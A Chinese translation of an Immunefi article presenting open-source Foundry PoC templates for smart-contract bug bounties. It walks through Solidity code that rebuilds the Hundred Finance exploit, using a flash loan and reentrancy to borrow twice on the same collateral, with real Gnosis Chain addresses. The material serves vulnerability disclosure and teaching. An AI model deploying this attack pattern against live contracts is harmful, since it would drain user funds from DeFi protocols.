本文介绍了如何使用提供的PoC(概念验证)模板来简化和加速漏洞报告的编写过程。这些模板旨在帮助白帽黑客更轻松地创建PoC,以测试智能合约的漏洞,如重入攻击和代币操控,同时提高安全性和工作效率。文章还包括了具体的代码示例和使用指南。
一个将高级黑客与初学者区分开来的关键技能是编写概念证明(PoC)的能力。PoC 本质上是可运行的代码,它演示了智能合约的漏洞,而实际上并未在实际环境中进行利用。
但是编写 PoC 可能具有挑战性,尤其是当你不熟悉设置测试环境或支持 PoC 的基础协议的具体细节时。
这就是我们推出 PoC 模板以革新漏洞报告提交流程的原因。
使用这个 PoC 模板库,你可以利用预编写的代码块轻松快速地为你发现的任何漏洞构建 PoC,而不必从头开始。
GitHub - immunefi-team/forge-poc-templates
构建 PoC 是具有挑战性的,即使对于精英黑客。有时,这可能会很无聊。
此外,许多 PoC 使用类似的设计模式,这些设计模式在不同协议中常被重复,但由于成功的漏洞报告中的大多数 PoC 保持私密,其他人无法从中受益。这意味着白帽黑客必须无故从零开始编写大量代码。
我们设计的模板是一个开源的协作库,旨在使 PoC 创建更简单、更高效,甚至更愉快。使 PoC 创建更简单将使漏洞报告的创建变得更加容易,更多的漏洞报告意味着项目更安全、白帽黑客获得更多的奖金奖励。
该库提供了常见漏洞类型的预构建模板,例如重入攻击、代币余额操控、闪电贷、和预言机价格操控。这些模板整合了在不同协议中常被重复的设计模式。
这些 PoC 模板旨在适合所有技能水平,包含清晰的使用说明及定制说明。通过使用模板,白帽黑客可以节省时间并更有效地协作,最终导致更安全、更具弹性的区块链生态系统。
几乎所有 Immunefi 的漏洞赏金计划都要求提供 PoC。尽管 PoC 是展示 Web3 项目中存在的漏洞具体证据的事实标准,但可重用组件的资源并不多。这导致白帽黑客针对具有相似攻击向量的漏洞重复工作。
例如,假设你正在测试一个智能合约以寻找重入漏洞。通过使用我们的重入 PoC 模板,你可以快速在主网的本地分叉环境中启动并测试你的代码。重入合约定义了一组常见的回调函数,它们都调用一个标准方法,_executeAttack
。
https://github.com/immunefi-team/forge-poc-templates/blob/main/src/reentrancy/Reentrancy.sol
https://github.com/immunefi-team/forge-poc-templates/blob/main/src/ReentrancyTemplate.sol
Immunefi PoC 模板 1.sol – Medium
pragma solidity^0.8.13;
import"./reentrancy/Reentrancy.sol";
import"forge-std/console.sol";
contractReentrancyTemplateisReentrancy {
// 被攻击的受害者合约
address target;
constructor(addressvictim) {
target = victim;
}
/\*\*
\\* @dev 启动重入攻击。对目标合约进行任何调用,并在下面的回调函数中继续重入攻击
\*/
function initiateAttack() external {
// 对目标合约进行调用
console.log("Initiating attack on %s", target);
// TODO: 在这里修改攻击以激活受害者的重入
// Interface(target).someFunction();
}
function \_executeAttack() internaloverride {
// TODO: 在这里修改攻击
}
function \_completeAttack() internaloverride {
console.log("攻击者余额在 %s", address(this).balance);
// TODO: 在这里修改攻击后的清理逻辑
}
}
片段 1:重入模板
扩展重入合约允许你以标准化的方式构建攻击,从而使你更容易创建一个展示特定类别漏洞的 PoC。
以下漏洞模板为 当前可用:
为了更好地理解这些模板如何使用,我们将 重构 Hundred Finance 的 PoC,因为它展示了重入攻击并使用了闪电贷。
首先,我们将扩展闪电贷和重入模块,因为我们将使用闪电贷来获取所需的初始资金,并在 Hundred Finance 合约中利用重入漏洞。此外,我们将导入 Tokens 模块以便更轻松地引用 Gnosis Chain 上的 USDC 地址。
Immunefi PoC 模板 2.sol – Medium
pragma solidity^0.8.0;
import"../src/flashloan/FlashLoan.sol";
import"../src/reentrancy/Reentrancy.sol";
import"../src/tokens/Tokens.sol";
import"@openzeppelin/contracts/token/ERC20/IERC20.sol";
import"forge-std/console.sol";
contractHundredFinanceHackisFlashLoan, Reentrancy { }
片段 2:扩展闪电贷和重入模块
接下来,我们将覆盖 fallback 函数并默认为闪电贷模块处理程序,因为这将在执行攻击后偿还我们的闪电贷。
Immunefi PoC 模板 3.sol – Medium
contractHundredFinanceHackisFlashLoan, Reentrancy {
fallback() externalpayableoverride(FlashLoan, Reentrancy) {
// 默认为闪电贷回调逻辑
FlashLoan.\_fallback();
}
}
片段 3:覆盖默认的 fallback 函数
为了发起攻击,我们将调用 takeFlashLoan
,它从指定的提供方处获取闪电贷。闪电贷模块会根据本地分叉正在运行的链引用 block.chainid
自动更改闪电贷提供方的合约地址。默认的闪电贷处理程序也将处理偿还,因此我们只需实现 _executeAttack
,该函数由默认的闪电贷处理程序调用。
Immunefi PoC 模板 4.sol – Medium
contractHundredFinanceHackisFlashLoan, Reentrancy {
// Gnosis Chain 上的 Hundred Finance Markets
IERC20constant husd =IERC20(0x243E33aa7f6787154a8E59d3C27a66db3F8818ee);
IERC20constant hxdai =IERC20(0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE);
IERC20constant wxdai =IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d);
// 用于偿还闪电贷的代币兑换地址
ICurve constant curve =ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353);
bool borrowedXdai;
uint256 totalFlashloaned;
function initiateAttack() external {
console.log("USDC 余额之前:", GnosisTokens.USDC.balanceOf(address(this)));
// 从 UniswapV2 处设置代币对和闪电贷金额
address\[\] memory tokens =newaddress\[\](2);
tokens\[0\] =address(GnosisTokens.USDC);
tokens\[1\] =address(wxdai);
uint256\[\] memory amounts =newuint256\[\](2);
amounts\[0\] =2117765617657;
amounts\[1\] =0;
// 从传入的提供方触发闪电贷
// 这将调用 \_executeAttack,它包含逻辑以确定是否在闪电贷回调中
takeFlashLoan(FlashLoanProviders.UNISWAPV2, tokens, amounts);
console.log("USDC 余额之后:", GnosisTokens.USDC.balanceOf(address(this)));
}
function \_executeAttack() internaloverride(FlashLoan, Reentrancy) {
if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) {
// 检查当前的闪电贷提供方是否是 Uniswap
console.log("闪电贷后的 USDC 余额:", GnosisTokens.USDC.balanceOf(address(this)));
}
}
fallback() externalpayableoverride(FlashLoan, Reentrancy) {
// 默认为闪电贷回调逻辑
FlashLoan.\_fallback();
}
}
片段 4:通过调用 takeFlashLoan
发起攻击
现在我们获得了闪电贷的资金,可以通过将借来的 USDC 存入确保并借用多个代币来对 Hundred Finance 的市场进行攻击。由于重入模块也调用 _executeAttack
,所以我们可以通过检查调用我们攻击合约的函数签名 msg.sig
来确定回调的触发者。
Immunefi PoC 模板 5.sol – Medium
contractHundredFinanceHackisFlashLoan, Reentrancy {
...
function \_executeAttack() internaloverride(FlashLoan, Reentrancy) {
if (msg.sig==this.onTokenTransfer.selector) {
// 检查我们是否通过代币回调进入了 \_executeAttack
// 解码传递给代币转账回调的参数,`onTokenTransfer(address, uint256, bytes memory)`
(addressfrom,,) =abi.decode(msg.data\[4:\], (address, uint256, bytes));
// 如果我们当前正在借用 USDC,并且尚未借用 XDAI,
// 重新进入不同的 Hundred Finance 市场并借用 XDAI 代币
if (from ==address(husd) &&!borrowedXdai) {
borrowedXdai =true;
uint256 amount = (totalFlashloaned \*1e12) \*60/100;
// 在同一 USDC 抵押品上借用 XDAI,因为初始借贷交易尚未完成
// 我们可以重用抵押品
ICompoundToken(address(hxdai)).borrow(amount);
}
} elseif (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) {
// 检查当前的闪电贷提供方是否是 Uniswap
console.log("USDC 余额闪电贷后的:", GnosisTokens.USDC.balanceOf(address(this)));
// 解码传递给闪电贷回调函数的参数,`uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data)`
(, uint256amount0, uint256amount1,) =abi.decode(msg.data\[4:\], (address, uint256, uint256, bytes));
totalFlashloaned = amount0 ==0? amount1 : amount0;
// 将 USDC 存入 Hundred Finance 作为抵押,并获得 HUSD
uint256 balance = GnosisTokens.USDC.balanceOf(address(this));
GnosisTokens.USDC.approve(address(husd), balance);
ICompoundToken(address(husd)).mint(balance);
// 按照我们铸造的 HUSD 抵押进行借款
// 这会通过 USDC 的转移触发我们合约上的代币回调
uint256 amount = (totalFlashloaned \*90) /100;
ICompoundToken(address(husd)).borrow(amount);
console.log("攻击者借款后的 USDC 余额: %s USDC", GnosisTokens.USDC.balanceOf(address(this)));
console.log("攻击者借款后的 XDAI 余额: %s XDAI", address(this).balance);
}
}
...
}
片段 5:在 _executeAttack
中编写攻击体
最后,在闪电贷偿还之前调用 _completeAttack
函数,以便我们能够将盗取的 xDAI 兑换为 USDC,从而偿还我们的 USDC 闪电贷。
Immunefi PoC 模板 6.sol – Medium
contractHundredFinanceHackisFlashLoan, Reentrancy {
...
function \_completeAttack() internaloverride(FlashLoan, Reentrancy) {
// 将 XDAI 兑换为 USDC 以偿还我们的闪电贷
IWETH(payable(address(wxdai))).deposit{value: address(this).balance}();
wxdai.approve(address(curve), wxdai.balanceOf(address(this)));
curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1);
console.log("交换后攻击者 USDC 余额: %s USDC", GnosisTokens.USDC.balanceOf(address(this)));
console.log("交换后攻击者 XDAI 余额: %s XDAI", address(this).balance);
}
...
}
片段 6:通过在 completeAttack 中将 XDAI 兑换为 USDC 完成攻击
完整的 PoC 可以在 这里 查看。
编写 PoC 可能是一项具有挑战性的任务,但我们的 PoC 模板将帮助你。
通过提供预构建的模板和可扩展的合约,该库使白帽黑客更容易安全地处理智能合约并测试漏洞。无论你是初学者还是高级黑客,这些模板都可以帮助你节省时间和精力。
如果你想了解更多关于 PoC 和我们的指南,可以查看以下链接:
- 原文链接: medium.com/immunefi/immu...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!